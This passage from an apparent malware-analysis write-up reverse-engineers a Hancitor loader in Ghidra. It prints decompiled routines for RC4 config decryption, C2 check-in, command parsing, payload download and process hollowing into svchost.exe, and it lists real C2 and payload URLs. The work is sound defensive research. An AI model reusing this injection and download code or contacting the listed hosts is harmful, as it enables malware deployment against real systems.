  local_10 = 0;
  local_8 = 0;
  local_c = 0;
  local_14 = 0;
  BVar1 = CryptAcquireContextA(&local_c,(LPCSTR)0x0,(LPCSTR)0x0,1,0xf0000000);
  if ((((BVar1 != 0) && (BVar1 = CryptCreateHash(local_c,CALG_SHA1,0,0,&local_8), BVar1 != 0)) &&
      (BVar1 = CryptHashData(local_8,param_3,param_4,0), BVar1 != 0)) &&
     ((BVar1 = CryptDeriveKey(local_c,CALG_RC4,local_8,0x280011,&local_10), BVar1 != 0 &&
      (BVar1 = CryptDecrypt(local_10,0,1,0,param_1,&param_2), BVar1 != 0)))) {
    local_14 = param_2;
  }
  if (local_8 != 0) {
    CryptDestroyHash(local_8);
    local_8 = 0;
  }
  if (local_10 != 0) {
    CryptDestroyKey(local_10);
    local_10 = 0;
  }
  if (local_c != 0) {
    CryptReleaseContext(local_c,0);
  }
  return local_14;
}

CryptAcquireContextA

CryptCreateHash

CryptHashData

CryptDeriveKey

CryptDecrypt

CryptDestroyHash

CryptDestroyKey

CryptReleaseContext

Now that we know the necessary details, we can decrypt the config data block. Researchers frequently use CyberChef which can be used to create and share a proof of concept quickly:

CyberChef (derive key)

cyberchef-0

CyberChef (decrypt config)

cyberchef-1

My personal preference is to implement a Ghidra script which fully automates this process. I have implemented 2 Hancitor config extractors:

The goal is the same in case of both but there is a difference in the implementation. HancitorConfigExtractor.java looks for the following instruction pattern to find the configuration key and data blocks:

		100025fe 6a 08           PUSH       0x8
		10002600 68 10 50        PUSH       DAT_10005010
		         00 10
		10002605 68 00 20        PUSH       0x2000
		         00 00
		1000260a a1 64 72        MOV        EAX,[DAT_10007264]
		         00 10
		1000260f 50              PUSH       EAX
		10002610 e8 bb 06        CALL       mw_decrypt_config
		         00 00

HancitorConfigExtractor2.java examines the .data section and is based on the fact that the key starts at offset 0x10 and the data starts at offset 0x18 in this section.

There is a high chance these config extractors will work with other Hancitor variants. Malware authors a lot of times do not recompile the whole binary, instead they just replace the configuration in new samples (when their C2 servers are shut down for example).

HancitorConfigExtractor.java> Running...
HancitorConfigExtractor.java> key address: 0x10005010
HancitorConfigExtractor.java> data address: 0x10005018
HancitorConfigExtractor.java> key data: 0xf0da08fe225d0a8f
HancitorConfigExtractor.java> derived key: 0x67f6c6259f
HancitorConfigExtractor.java> decrypted config: 2508_bqplf......http://intakinger.com/8/forum.php|http://idgentexpliet.ru/8/forum.php|http://declassivan.ru/8/forum.php|...[redacted]
HancitorConfigExtractor.java> Finished!
HancitorConfigExtractor2.java> Running...
HancitorConfigExtractor2.java> key address: 0x10005010
HancitorConfigExtractor2.java> data address: 0x10005018
HancitorConfigExtractor2.java> key data: 0xf0da08fe225d0a8f
HancitorConfigExtractor2.java> derived key: 0x67f6c6259f
HancitorConfigExtractor2.java> decrypted config: 2508_bqplf......http://intakinger.com/8/forum.php|http://idgentexpliet.ru/8/forum.php|http://declassivan.ru/8/forum.php|...[redacted]
HancitorConfigExtractor2.java> Finished!

The dots represent nullbytes. Most of the decrypted config is straightforward: those URLs are C2 servers. There is a strange string at the start though: 2508_bqplf. If we look at the following snippets:

DWORD __cdecl mw_decrypt_config(BYTE *param_1,DWORD param_2,BYTE *param_3,DWORD param_4)

{
...
      (BVar1 = CryptDecrypt(local_10,0,1,0,param_1,&param_2), BVar1 != 0)))) {
BYTE * mw_decrypt_config_w(void)

{
...
    mw_decrypt_config(DAT_10007264,0x2000,&DAT_10005010,8);
...
  return DAT_10007264;

We can see that DAT_10007264 contains the decrypted string. This means that this strange-looking string is the build version and it is added as BUILD to the victim ID string.

"GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)"
undefined4 __cdecl mw_collect_and_send_info(char *param_1,int param_2,int *param_3)

{
...
    pBVar1 = mw_decrypt_config_w();
    wsprintfA(local_1944,s_GUID=%I64u&BUILD=%s&INFO=%s&EXT=_100041f8,(undefined4)local_20,
              local_20._4_4_,pBVar1,pCVar2,pCVar3,pCVar4,uVar5,uVar6);

At this point the victim ID string is fully assembled and ready to be sent to a C2 server found in the configuration.

The sample then iterates over all 3 C2 URLs and tries to send the previously assembled string to them one by one via HTTP POST requests.

undefined4 __cdecl mw_collect_and_send_info(char *param_1,int param_2,int *param_3)

{
  BYTE *pBVar1;
...
  local_18 = 1;
  while( true ) {
    if (local_18 != 1) {
      return 0;
    }
    if (*DAT_100072a0 == '\0') {
      local_18 = mw_parse_c2_urls(DAT_100072a0);
    }
    local_8 = mw_handle_http_request_with_header
                        (DAT_100072a0,local_1944,(int)param_1,param_2,param_3);
    if (local_8 == 1) {
      local_8 = mw_check_pattern(param_1);
    }
    if (local_8 == 1) break;
    *DAT_100072a0 = '\0';
  }
  return 1;
}

mw_parse_c2_urls returns 1 if there are more URLs in the list and returns 0 if there are no more.

int __cdecl mw_parse_c2_urls(BYTE *param_1)

{
  BYTE BVar1;
  BYTE *pBVar2;
  
  if ((DAT_10007268 == (BYTE *)0x0) && (DAT_10007268 = DAT_1000726c, DAT_1000726c == (BYTE *)0x0)) {
    pBVar2 = mw_decrypt_config_w();
    DAT_10007268 = pBVar2 + 0x10;
  }
  for (; (*DAT_10007268 != '|' && (*DAT_10007268 != '\0')); DAT_10007268 = DAT_10007268 + 1) {
    *param_1 = *DAT_10007268;
    param_1 = param_1 + 1;
  }
  *param_1 = '\0';
  if (*DAT_10007268 == '|') {
    DAT_10007268 = DAT_10007268 + 1;
  }
  BVar1 = *DAT_10007268;
  if (BVar1 == '\0') {
    DAT_10007268 = (BYTE *)0x0;
  }
  return (uint)(BVar1 != '\0');
}

Call graph of mw_handle_http_request_with_header:

OrderedCallGraphGenerator.java> Running...
OrderedCallGraphGenerator.java> 
mw_handle_http_request_with_header @ 100028d0
  mw_memset @ 100014a0
  lstrlenA @ EXTERNAL:0000011b
  InternetCrackUrlA @ EXTERNAL:00000052
  mw_open_connection @ 100024f0
    InternetOpenA @ EXTERNAL:0000004e
  InternetConnectA @ EXTERNAL:00000057
  HttpOpenRequestA @ EXTERNAL:00000053
  InternetCloseHandle @ EXTERNAL:00000050
  InternetQueryOptionA @ EXTERNAL:00000055
  InternetSetOptionA @ EXTERNAL:00000054
  HttpSendRequestA @ EXTERNAL:0000004f
  HttpQueryInfoA @ EXTERNAL:00000051
  InternetReadFile @ EXTERNAL:00000056

OrderedCallGraphGenerator.java> Finished!

If the response is 200 (HTTP OK), InternetReadFile reads the data via the handle opened by HttpOpenRequestA and mw_handle_http_request_with_header returns 1.

undefined4 __cdecl
mw_handle_http_request_with_header
          (undefined4 param_1,LPCSTR param_2,int param_3,int param_4,int *param_5)

...
            local_1c = 0;
...
              HttpQueryInfoA(local_8,0x20000013,&local_1c,&local_34,0);
              if ((local_1c == 200) && (param_3 != 0)) {
                iVar1 = InternetReadFile(local_8,param_3,param_4 + -1,param_5);
                if ((iVar1 == 0) || (*param_5 == 0)) {
                  *param_5 = 0;
                }
                else {
                  *(undefined *)(param_3 + *param_5) = 0;
                }
              }
            }
            InternetCloseHandle(local_8);
            InternetCloseHandle(local_c);
            if (local_1c == 200) {
              uVar2 = 1;
            }
            else {
              uVar2 = 0;
            }
          }
        }
      }
    }
    else {
      uVar2 = 0;
    }
  }
  return uVar2;
}

HttpOpenRequestA

HttpQueryInfoA

InternetReadFile

If mw_handle_http_request_with_header returns with 1 (success), the first 4 bytes of the received data are validated via mw_check_pattern. If this validation check also passes, the function breaks from the while loop and returns 1. Otherwise it sets DAT_100072a0 to '\0' which means mw_parse_c2_urls will return the next URL from the list and the next request will be sent to that URL.

undefined4 __cdecl mw_collect_and_send_info(char *param_1,int param_2,int *param_3)

{
...
  local_18 = 1;
  while( true ) {
    if (local_18 != 1) {
      return 0;
    }
    if (*DAT_100072a0 == '\0') {
      local_18 = mw_parse_c2_urls(DAT_100072a0);
    }
    local_8 = mw_handle_http_request_with_header
                        (DAT_100072a0,local_1944,(int)param_1,param_2,param_3);
    if (local_8 == 1) {
      local_8 = mw_check_pattern(param_1);
    }
    if (local_8 == 1) break;
    *DAT_100072a0 = '\0';
  }
  return 1;
}
undefined4 __cdecl mw_check_pattern(char *param_1)

{
  int iVar1;
  undefined4 uVar2;
  uint local_8;
  
  local_8 = 0;
  while( true ) {
    if (3 < local_8) {
      if (0x9b - param_1[1] == (int)param_1[2]) {
        if (0x9b - *param_1 == (int)param_1[3]) {
          uVar2 = 1;
        }
        else {
          uVar2 = 0;
        }
      }
      else {
        uVar2 = 0;
      }
      return uVar2;
    }
    iVar1 = mw_is_uppercase(param_1[local_8]);
    if (iVar1 == 0) break;
    local_8 = local_8 + 1;
  }
  return 0;
}

If all URLs are exhausted, mw_parse_c2_urls returns 0 and mw_collect_and_send_info also returns 0.

The data read earlier by InternetReadFile is then passed to mw_base64_decode_and_xor. Note that the first 4 bytes are not passed. The reason is that these were only necessary for validation and have been validated in mw_check_pattern.

void mw_main(void)

{
...
  char *local_14;
...
  local_14 = (char *)mw_heap_alloc_w(0x100000);
...
    iVar1 = mw_collect_and_send_info(local_14,local_c,&local_24);
...
      local_24 = mw_base64_decode_and_xor((int)(local_14 + 4),(int)local_18);
...
undefined4 __cdecl mw_collect_and_send_info(char *param_1,int param_2,int *param_3)

{
...
    local_8 = mw_handle_http_request_with_header
                        (DAT_100072a0,local_1944,(int)param_1,param_2,param_3);
...
undefined4 __cdecl
mw_handle_http_request_with_header
          (undefined4 param_1,LPCSTR param_2,int param_3,int param_4,int *param_5)

{
...
                iVar1 = InternetReadFile(local_8,param_3,param_4 + -1,param_5);
...

According to the documentation of InternetReadFile, the 2. parameter is [out] lpBuffer:

Pointer to a buffer that receives the data.

mw_base64_decode_and_xor decodes the received message via a base64 decoding and XOR operation:

int __cdecl mw_base64_decode_and_xor(int param_1,int param_2)

{
  uint uVar1;
  uint local_8;
  
  uVar1 = mw_base64_decode(param_1,param_2);
  for (local_8 = 0; local_8 < uVar1; local_8 = local_8 + 1) {
    *(byte *)(param_2 + local_8) = *(byte *)(param_2 + local_8) ^ 0x7a;
  }
  *(undefined *)(param_2 + uVar1) = 0;
  return uVar1 + 1;
}

It is always a good idea to analyze malware samples without an active internet connection. For this reason I could not test myself what the message received by the C2 server looks like, but some examples are available here:

Encoded message:

ARZAEg4OCkBVVR0PAFcUFx0YVAgPVQ0KVxkVFA4fFA5VChYPHRMUCVUZFRQOGxkOVxwVCBdXTVVLBhIODgpAVVUYCBUPDR8ICRIPAwlUFBZVDQpXGRUUDh8UDlUKFg8dExQJVUNIQ0lCHhlJGENKS1VLBwEYQBIODgpAVVUdDwBXFBcdGFQID1UNClcZFRQOHxQOVQoWDx0TFAlVGRUUDhsZDlccFQgXV01VSAYSDg4KQFVVGAgVDw0fCAkSDwMJVBQWVQ0KVxkVFA4fFA5VChYPHRMUCVVDSENJQh4ZSRhDSktVSAcBCEASDg4KQFVVHQ8AVxQXHRhUCA9VDQpXGRUUDh8UDlUKFg8dExQJVRkVFA4bGQ5XHBUIF1dNVUkGEg4OCkBVVRgIFQ8NHwgJEg8DCVQUFlUNClcZFRQOHxQOVQoWDx0TFAlVQ0hDSUIeGUkYQ0pLVUkH

Decoded message:

{l:http://guz-nmgb.ru/wp-content/plugins/contact-form-7/1|http://brouwershuys.nl/wp-content/plugins/92938dc3b901/1}{b:http://guz-nmgb.ru/wp-content/plugins/contact-form-7/2|http://brouwershuys.nl/wp-content/plugins/92938dc3b901/2}{r:http://guz-nmgb.ru/wp-content/plugins/contact-form-7/3|http://brouwershuys.nl/wp-content/plugins/92938dc3b901/3}

The decoded message is then passed to mw_extract_cmd for further processing, which extracts the content between the first set of {} it encounters and returns a pointer showing where it finished reading.

void mw_main(void)

{
...
  char *local_18;
...
  char *local_10;
  SIZE_T local_c;
...
  local_c = 0x100000;
  char *local_8;
...
  local_18 = (char *)mw_heap_alloc_w(local_c);
  local_8 = (char *)mw_heap_alloc_w(0x1000);
...
      local_24 = mw_base64_decode_and_xor((int)(local_14 + 4),(int)local_18);
      local_10 = local_18;
...
        local_10 = mw_extract_cmd(local_10,local_8);
...
char * __cdecl mw_extract_cmd(char *param_1,undefined *param_2)

{
  int local_8;
  
  *param_2 = 0;
  if (param_1 != (char *)0x0) {
    for (; *param_1 != '\0'; param_1 = param_1 + 1) {
      if (*param_1 == '{') {
        local_8 = 0;
        while( true ) {
          param_1 = param_1 + 1;
          if (*param_1 == '\0') {
            return (char *)0x0;
          }
          if (*param_1 == '}') break;
          param_2[local_8] = *param_1;
          local_8 = local_8 + 1;
        }
        param_2[local_8] = 0;
        return param_1;
      }
    }
  }
  return (char *)0x0;
}

Input:

{l:http://guz-nmgb.ru/wp-content/plugins/contact-form-7/1|http://brouwershuys.nl/wp-content/plugins/92938dc3b901/1}{b:http://guz-nmgb.ru/wp-content/plugins/contact-form-7/2|http://brouwershuys.nl/wp-content/plugins/92938dc3b901/2}{r:http://guz-nmgb.ru/wp-content/plugins/contact-form-7/3|http://brouwershuys.nl/wp-content/plugins/92938dc3b901/3}

Extracted output:

l:http://guz-nmgb.ru/wp-content/plugins/contact-form-7/1|http://brouwershuys.nl/wp-content/plugins/92938dc3b901/1

Remaining:

}{b:http://guz-nmgb.ru/wp-content/plugins/contact-form-7/2|http://brouwershuys.nl/wp-content/plugins/92938dc3b901/2}{r:http://guz-nmgb.ru/wp-content/plugins/contact-form-7/3|http://brouwershuys.nl/wp-content/plugins/92938dc3b901/3}

The extracted command is then validated:

void mw_main(void)

{
...
  char *local_8;
...
  local_8 = (char *)mw_heap_alloc_w(0x1000);
...
        local_10 = mw_extract_cmd(local_10,local_8);
        iVar1 = mw_check_cmd(local_8);
...
undefined4 __cdecl mw_check_cmd(char *param_1)

{
  char *local_8;
  
  local_8 = s_ncdrleb_100041f0;
  if (param_1[1] == ':') {
    for (; *local_8 != '\0'; local_8 = local_8 + 1) {
      if (*local_8 == *param_1) {
        return 1;
      }
    }
  }
  return 0;
}

The command is valid if the first character is part of the ncdrleb string, and the second character is a :.

The valid commands are passed to mw_execute_cmd for execution:

void mw_main(void)

{
...
  int iVar1;
...
  int local_1c;
...
  char *local_8;
...
  local_8 = (char *)mw_heap_alloc_w(0x1000);
...
        iVar1 = mw_check_cmd(local_8);
        if (iVar1 == 1) {
          local_1c = 0;
          iVar1 = mw_execute_cmd(local_8,&local_1c);
...
int __cdecl mw_execute_cmd(char *param_1,int *param_2)

{
  int iVar1;
  int iVar2;
  
  if (param_1[1] == ':') {
    switch(*param_1) {
    case 'b':
      iVar2 = mw_launch_and_inject_svchost_w(param_1 + 2);
      *param_2 = iVar2;
      iVar1 = 1;
      break;
    default:
      iVar1 = 0;
      break;
    case 'e':
      iVar2 = mw_execute_pe_w(param_1 + 2,0);
      *param_2 = iVar2;
      iVar1 = 1;
      break;
    case 'l':
      iVar2 = mw_execute_shellcode_w(param_1 + 2,1,1);
      *param_2 = iVar2;
      iVar1 = 1;
      break;
    case 'n':
      *param_2 = 1;
      iVar1 = 1;
      break;
    case 'r':
      iVar2 = mw_drop_and_execute_w(param_1 + 2);
      *param_2 = iVar2;
      iVar1 = 1;
    }
  }
  else {
    iVar1 = 0;
  }
  return iVar1;
}

mw_execute_cmd supports multiple execution modes. It first checks if the 1. character is :, then executes the command.

command b

Summary: this command downloads the PE file (available at the specified URL(s)), then launches an svchost.exe process and injects it into that.

int __cdecl mw_launch_and_inject_svchost_w(char *param_1)

{
  char *pcVar1;
  int iVar2;
  int local_10;
  SIZE_T local_8;
  
  local_8 = 0x500000;
  pcVar1 = (char *)mw_heap_alloc_w(0x500000);
  iVar2 = mw_download_pe_file(param_1,pcVar1,local_8,&local_8,1);
  if (iVar2 == 1) {
    mw_launch_and_inject_svchost(pcVar1,local_8);
  }
  local_10 = (int)(iVar2 == 1);
  mw_heap_free_w(pcVar1);
  return local_10;
}

Call graph of mw_launch_and_inject_svchost_w:

OrderedCallGraphGenerator.java> Running...
OrderedCallGraphGenerator.java> 
mw_launch_and_inject_svchost_w @ 10001e80
  mw_heap_alloc_w @ 10001390
    GetProcessHeap @ EXTERNAL:00000114
    HeapAlloc @ EXTERNAL:0000005b
  mw_download_pe_file @ 10002230
    mw_check_pipe_delimiter @ 10002880
    mw_handle_http_request @ 10001fe0
      mw_memset @ 100014a0
      InternetCrackUrlA @ EXTERNAL:00000052
      mw_open_connection @ 100024f0
        InternetOpenA @ EXTERNAL:0000004e
      InternetConnectA @ EXTERNAL:00000057
      HttpOpenRequestA @ EXTERNAL:00000053
      InternetCloseHandle @ EXTERNAL:00000050
      InternetQueryOptionA @ EXTERNAL:00000055
      InternetSetOptionA @ EXTERNAL:00000054
      HttpSendRequestA @ EXTERNAL:0000004f
      HttpQueryInfoA @ EXTERNAL:00000051
      InternetReadFile @ EXTERNAL:00000056
    mw_check_custom_signature @ 10002810
    mw_decrypt_and_decompress @ 10001d40
      mw_heap_alloc_w @ 10001390 [already visited!]
      RtlDecompressBuffer @ EXTERNAL:00000059
      mw_memcpy @ 10001450
      mw_heap_free_w @ 100013d0
        HeapFree @ EXTERNAL:00000115
    mw_check_mz_header @ 10002b40
    mw_extract_next_url @ 10002720
  mw_launch_and_inject_svchost @ 10002b80
    mw_check_mz_header @ 10002b40 [already visited!]
    mw_launch_svchost @ 10002c40
      mw_memset @ 100014a0 [already visited!]
      GetEnvironmentVariableA @ EXTERNAL:0000011f
      lstrcatA @ EXTERNAL:0000005d
      CreateProcessA @ EXTERNAL:00000120
    mw_inject @ 10003270
      VirtualAllocEx @ EXTERNAL:0000012f
      mw_heap_alloc_w @ 10001390 [already visited!]
      mw_map_pe @ 10003a00
        mw_memcpy @ 10001450 [already visited!]
        mw_process_relocs @ 10003470
      WriteProcessMemory @ EXTERNAL:00000130
      mw_heap_free_w @ 100013d0 [already visited!]
      VirtualFreeEx @ EXTERNAL:00000131
    mw_inject_and_resume @ 100037e0
      mw_memset @ 100014a0 [already visited!]
      GetThreadContext @ EXTERNAL:00000135
      WriteProcessMemory @ EXTERNAL:00000130
      SetThreadContext @ EXTERNAL:00000136
      ResumeThread @ EXTERNAL:00000137
    GetProcessId @ EXTERNAL:0000011c
    TerminateProcess @ EXTERNAL:0000011d
    CloseHandle @ EXTERNAL:0000011e
  mw_heap_free_w @ 100013d0 [already visited!]

OrderedCallGraphGenerator.java> Finished!

If multiple URLs are specified, it attempts to download a PE file from the multiple fallback URLs. If one URL fails, it tries the next one.

int __cdecl
mw_download_pe_file(char *param_1,char *param_2,SIZE_T param_3,uint *param_4,int param_5)

{
  int iVar1;
  uint uVar2;
  char local_204 [512];
  
  iVar1 = mw_check_pipe_delimiter(param_1);
  if ((iVar1 == 0) &&
     (iVar1 = mw_handle_http_request(param_1,(int)param_2,param_3,(int *)param_4), iVar1 == 1)) {
    if ((0x1ff < *param_4) && (iVar1 = mw_check_custom_signature(param_2), iVar1 == 1)) {
      uVar2 = mw_decrypt_and_decompress(param_2,*param_4,param_3);
      *param_4 = uVar2;
    }
    if (param_5 == 1) {
      if ((*param_4 < 0x200) || (iVar1 = mw_check_mz_header(param_2), iVar1 != 1)) {
        iVar1 = 0;
      }
      else {
        iVar1 = 1;
      }
    }
    else {
      iVar1 = 1;
    }
  }
  else {
    do {
      param_1 = mw_extract_next_url(param_1,local_204);
      if (local_204[0] == '\0') break;
      iVar1 = mw_handle_http_request(local_204,(int)param_2,param_3,(int *)param_4);
      if (iVar1 == 1) {
        if ((0x1ff < *param_4) && (iVar1 = mw_check_custom_signature(param_2), iVar1 == 1)) {
          uVar2 = mw_decrypt_and_decompress(param_2,*param_4,param_3);
          *param_4 = uVar2;
        }
        if (param_5 != 1) {
          return 1;
        }
        if ((0x1ff < *param_4) && (iVar1 = mw_check_mz_header(param_2), iVar1 == 1)) {
          return 1;
        }
      }
    } while (param_1 != (char *)0x0);
    iVar1 = 0;
  }
  return iVar1;
}
undefined4 __cdecl mw_check_pipe_delimiter(char *param_1)

{
  while( true ) {
    if (*param_1 == '\0') {
      return 0;
    }
    if (*param_1 == '|') break;
    param_1 = param_1 + 1;
  }
  return 1;
}

After a successful download the file is validated, decrypted and decompressed. param_4 is the total number of bytes read.

According to the documentation of InternetReadFile:

To ensure all data is retrieved, an application must continue to call the InternetReadFile function until the function returns TRUE and the lpdwNumberOfBytesRead parameter equals zero.

undefined4 __cdecl mw_handle_http_request(undefined4 param_1,int param_2,int param_3,int *param_4)

{
...
            HttpQueryInfoA(local_8,0x20000013,&local_20,&local_2c,0);
            if ((local_20 == 200) && (param_2 != 0)) {
              *param_4 = 0;
              while ((local_30 = InternetReadFile(local_8,param_2,param_3,&local_c), local_30 == 1
                     && (local_c != 0))) {
                param_2 = param_2 + local_c;
                param_3 = param_3 - local_c;
                *param_4 = *param_4 + local_c;
                local_30 = 1;
              }
            }
undefined4 __cdecl mw_check_custom_signature(char *param_1)

{
  undefined4 uVar1;
  
  if ((((*param_1 == -0x80) && (param_1[1] == -0x58)) && (param_1[2] == '\x15')) &&
     (param_1[3] == 'T')) {
    uVar1 = 1;
  }
  else {
    uVar1 = 0;
  }
  return uVar1;
}
int __cdecl mw_decrypt_and_decompress(undefined *param_1,uint param_2,SIZE_T param_3)

{
  int local_14;
  int local_10;
  undefined *local_c;
  uint local_8;
  
  local_c = (undefined *)mw_heap_alloc_w(param_3);
  for (local_8 = 8; local_8 < param_2; local_8 = local_8 + 1) {
    param_1[local_8] = param_1[local_8] ^ param_1[local_8 % 8];
  }
  local_10 = RtlDecompressBuffer(2,local_c,param_3,param_1 + 8,param_2 - 8,&local_14);
  if (local_10 == 0) {
    mw_memcpy(param_1,local_c,local_14);
  }
  mw_heap_free_w(local_c);
  if (local_10 != 0) {
    local_14 = 0;
  }
  return local_14;
}

RtlDecompressBuffer

Optionally, additional size and MZ header checks can be enabled by param_5.

Single URL:

int __cdecl
mw_download_pe_file(char *param_1,char *param_2,SIZE_T param_3,uint *param_4,int param_5)

{
...
      uVar2 = mw_decrypt_and_decompress(param_2,*param_4,param_3);
      *param_4 = uVar2;
    }
    if (param_5 == 1) {
      if ((*param_4 < 0x200) || (iVar1 = mw_check_mz_header(param_2), iVar1 != 1)) {
        iVar1 = 0;
      }
      else {
        iVar1 = 1;
      }
    }
    else {
      iVar1 = 1;
    }
...

Multiple URLs:

int __cdecl
mw_download_pe_file(char *param_1,char *param_2,SIZE_T param_3,uint *param_4,int param_5)

{
...
          uVar2 = mw_decrypt_and_decompress(param_2,*param_4,param_3);
          *param_4 = uVar2;
        }
        if (param_5 != 1) {
          return 1;
        }
        if ((0x1ff < *param_4) && (iVar1 = mw_check_mz_header(param_2), iVar1 == 1)) {
          return 1;
        }
...
undefined4 __cdecl mw_check_mz_header(char *param_1)

{
  undefined4 uVar1;
  
  if ((*param_1 == 'M') && (param_1[1] == 'Z')) {
    uVar1 = 1;
  }
  else {
    uVar1 = 0;
  }
  return uVar1;
}

After a successful download, a svchost.exe process is launched.

DWORD __cdecl mw_launch_and_inject_svchost(char *param_1,undefined4 param_2)

{
  int iVar1;
  LPVOID local_18;
  DWORD local_14;
  HANDLE local_10;
  DWORD local_c;
  HANDLE local_8;
  
  local_c = 0xffffffff;
  iVar1 = mw_check_mz_header(param_1);
  if (iVar1 == 0) {
    local_c = 0;
  }
  else {
    iVar1 = mw_launch_svchost(&local_8,&local_10);
    if (iVar1 != 0) {
      iVar1 = mw_inject(local_8,param_1,param_2,&local_18,(int *)&local_14);
      if ((iVar1 == 1) &&
         (iVar1 = mw_inject_and_resume(local_8,local_10,local_18,local_14), iVar1 == 1)) {
        local_c = GetProcessId(local_8);
      }
      if (local_c == 0xffffffff) {
        TerminateProcess(local_8,0);
      }
      CloseHandle(local_10);
      CloseHandle(local_8);
    }
  }
  return local_c;
}
int __cdecl mw_launch_svchost(HANDLE *param_1,HANDLE *param_2)

{
  BOOL BVar1;
  CHAR local_15c [260];
  _STARTUPINFOA local_58;
  _PROCESS_INFORMATION local_14;
  
  mw_memset((undefined *)&local_58,0,0x44);
  local_58.cb = 0x44;
  GetEnvironmentVariableA(s_SystemRoot_100042e4,local_15c,0x104);
  lstrcatA(local_15c,s_\System32\svchost.exe_100042f0);
  BVar1 = CreateProcessA((LPCSTR)0x0,local_15c,(LPSECURITY_ATTRIBUTES)0x0,(LPSECURITY_ATTRIBUTES)0x0
                         ,0,0x424,(LPVOID)0x0,(LPCSTR)0x0,&local_58,&local_14);
  if (BVar1 != 0) {
    *param_1 = local_14.hProcess;
    *param_2 = local_14.hThread;
  }
  return (uint)(BVar1 != 0);
}

GetEnvironmentVariableA

CreateProcessA

The downloaded file is injected into the previously launched svchost.exe using common techniques via Windows APIs.

int __cdecl
mw_inject(HANDLE param_1,undefined *param_2,undefined4 param_3,LPVOID *param_4,int *param_5)

{
  int iVar1;
  SIZE_T dwSize;
  int iVar2;
  BOOL BVar3;
  int local_1c;
  LPVOID local_10;
  undefined *local_c;
  LPVOID local_8;
  
  iVar1 = *(int *)(param_2 + 0x3c);
  local_10 = *(LPVOID *)(param_2 + iVar1 + 0x34);
  dwSize = *(SIZE_T *)(param_2 + iVar1 + 0x50);
  local_c = (undefined *)0x0;
  local_1c = 0;
  local_8 = VirtualAllocEx(param_1,local_10,dwSize,0x3000,0x40);
  if (local_8 == (LPVOID)0x0) {
    local_10 = VirtualAllocEx(param_1,(LPVOID)0x0,dwSize,0x3000,0x40);
    local_8 = local_10;
  }
  if (((local_8 != (LPVOID)0x0) &&
      (local_c = (undefined *)mw_heap_alloc_w(dwSize), local_c != (undefined *)0x0)) &&
     (iVar2 = FUN_10003a00(param_2,param_3,local_c,(int)local_10), iVar2 != 0)) {
    if (param_4 != (LPVOID *)0x0) {
      *param_4 = local_10;
    }
    if (param_5 != (int *)0x0) {
      *param_5 = (int)local_10 + *(int *)(param_2 + iVar1 + 0x28);
    }
    BVar3 = WriteProcessMemory(param_1,local_8,local_c,dwSize,(SIZE_T *)0x0);
    if (BVar3 != 0) {
      local_1c = 1;
    }
  }
  if (local_c != (undefined *)0x0) {
    mw_heap_free_w(local_c);
  }
  if ((local_8 != (LPVOID)0x0) && (local_1c == 0)) {
    VirtualFreeEx(param_1,local_8,0,0x8000);
  }
  return local_1c;
}

VirtualAllocEx WriteProcessMemory

undefined4 __cdecl
mw_inject_and_resume(HANDLE param_1,HANDLE param_2,undefined4 param_3,DWORD param_4)

{
  BOOL BVar1;
  undefined4 uVar2;
  CONTEXT local_2d0;
  
  local_2d0.ContextFlags = 0x10002;
  mw_memset((undefined *)&local_2d0.Dr0,0,0x2c8);
  BVar1 = GetThreadContext(param_2,&local_2d0);
  if (BVar1 == 0) {
    uVar2 = 0;
  }
  else {
    BVar1 = WriteProcessMemory(param_1,(LPVOID)(local_2d0.Ebx + 8),&param_3,4,(SIZE_T *)0x0);
    if (BVar1 == 0) {
      uVar2 = 0;
    }
    else {
      local_2d0.Eax = param_4;
      BVar1 = SetThreadContext(param_2,&local_2d0);
      if (BVar1 == 0) {
        uVar2 = 0;
      }
      else {
        ResumeThread(param_2);
        uVar2 = 1;
      }
    }
  }
  return uVar2;
}

GetThreadContext SetThreadContext ResumeThread

The param_4 of mw_inject_and_resume (param_5 of mw_inject) is the entry point of the injected binary.

DWORD __cdecl mw_launch_and_inject_svchost(char *param_1,undefined4 param_2)

{
...
  DWORD local_14;
...
      iVar1 = mw_inject(local_8,param_1,param_2,&local_18,(int *)&local_14);
...
         (iVar1 = mw_inject_and_resume(local_8,local_10,local_18,local_14), iVar1 == 1)) {
...
int __cdecl
mw_inject(HANDLE param_1,undefined *param_2,undefined4 param_3,LPVOID *param_4,int *param_5)

{
...
  iVar1 = *(int *)(param_2 + 0x3c);
...
    local_10 = VirtualAllocEx(param_1,(LPVOID)0x0,dwSize,0x3000,0x40);
...
    if (param_5 != (int *)0x0) {
      *param_5 = (int)local_10 + *(int *)(param_2 + iVar1 + 0x28);
    }
...

According to https://www.aldeid.com/wiki/PE-Portable-executable:

MS DOS Header

Offset Size Member Meaning

0x3c DWORD e_lfanew Offset to start of PE header

PE Header

Offset Size Member Meaning

0x28 DWORD AddressOfEntryPoint The address of the entry point…

command e

Summary: this command downloads the PE file (available at the specified URL(s)) then executes it in the context of the current process. The PE file can be either a .dll or .exe, but this Hancitor variant only supports executing .exe files via the e command.

int __cdecl mw_execute_pe_w(char *param_1,int param_2)

{
  char *pcVar1;
  int iVar2;
  int local_10;
  SIZE_T local_8;
  
  local_8 = 0x500000;
  pcVar1 = (char *)mw_heap_alloc_w(0x500000);
  iVar2 = mw_download_pe_file(param_1,pcVar1,local_8,&local_8,1);
  if (iVar2 == 1) {
    mw_execute_pe(pcVar1,local_8,0,param_2);
  }
  local_10 = (int)(iVar2 == 1);
  mw_heap_free_w(pcVar1);
  return local_10;
}

Call graph of mw_execute_pe_w:

OrderedCallGraphGenerator.java> Running...
OrderedCallGraphGenerator.java> 
mw_execute_pe_w @ 10001e00
  mw_heap_alloc_w @ 10001390
    GetProcessHeap @ EXTERNAL:00000114
    HeapAlloc @ EXTERNAL:0000005b
  mw_download_pe_file @ 10002230
    mw_check_pipe_delimiter @ 10002880
    mw_handle_http_request @ 10001fe0
      mw_memset @ 100014a0
      InternetCrackUrlA @ EXTERNAL:00000052
      mw_open_connection @ 100024f0
        InternetOpenA @ EXTERNAL:0000004e
      InternetConnectA @ EXTERNAL:00000057
      HttpOpenRequestA @ EXTERNAL:00000053
      InternetCloseHandle @ EXTERNAL:00000050
      InternetQueryOptionA @ EXTERNAL:00000055
      InternetSetOptionA @ EXTERNAL:00000054
      HttpSendRequestA @ EXTERNAL:0000004f
      HttpQueryInfoA @ EXTERNAL:00000051
      InternetReadFile @ EXTERNAL:00000056
    mw_check_custom_signature @ 10002810
    mw_decrypt_and_decompress @ 10001d40
      mw_heap_alloc_w @ 10001390 [already visited!]
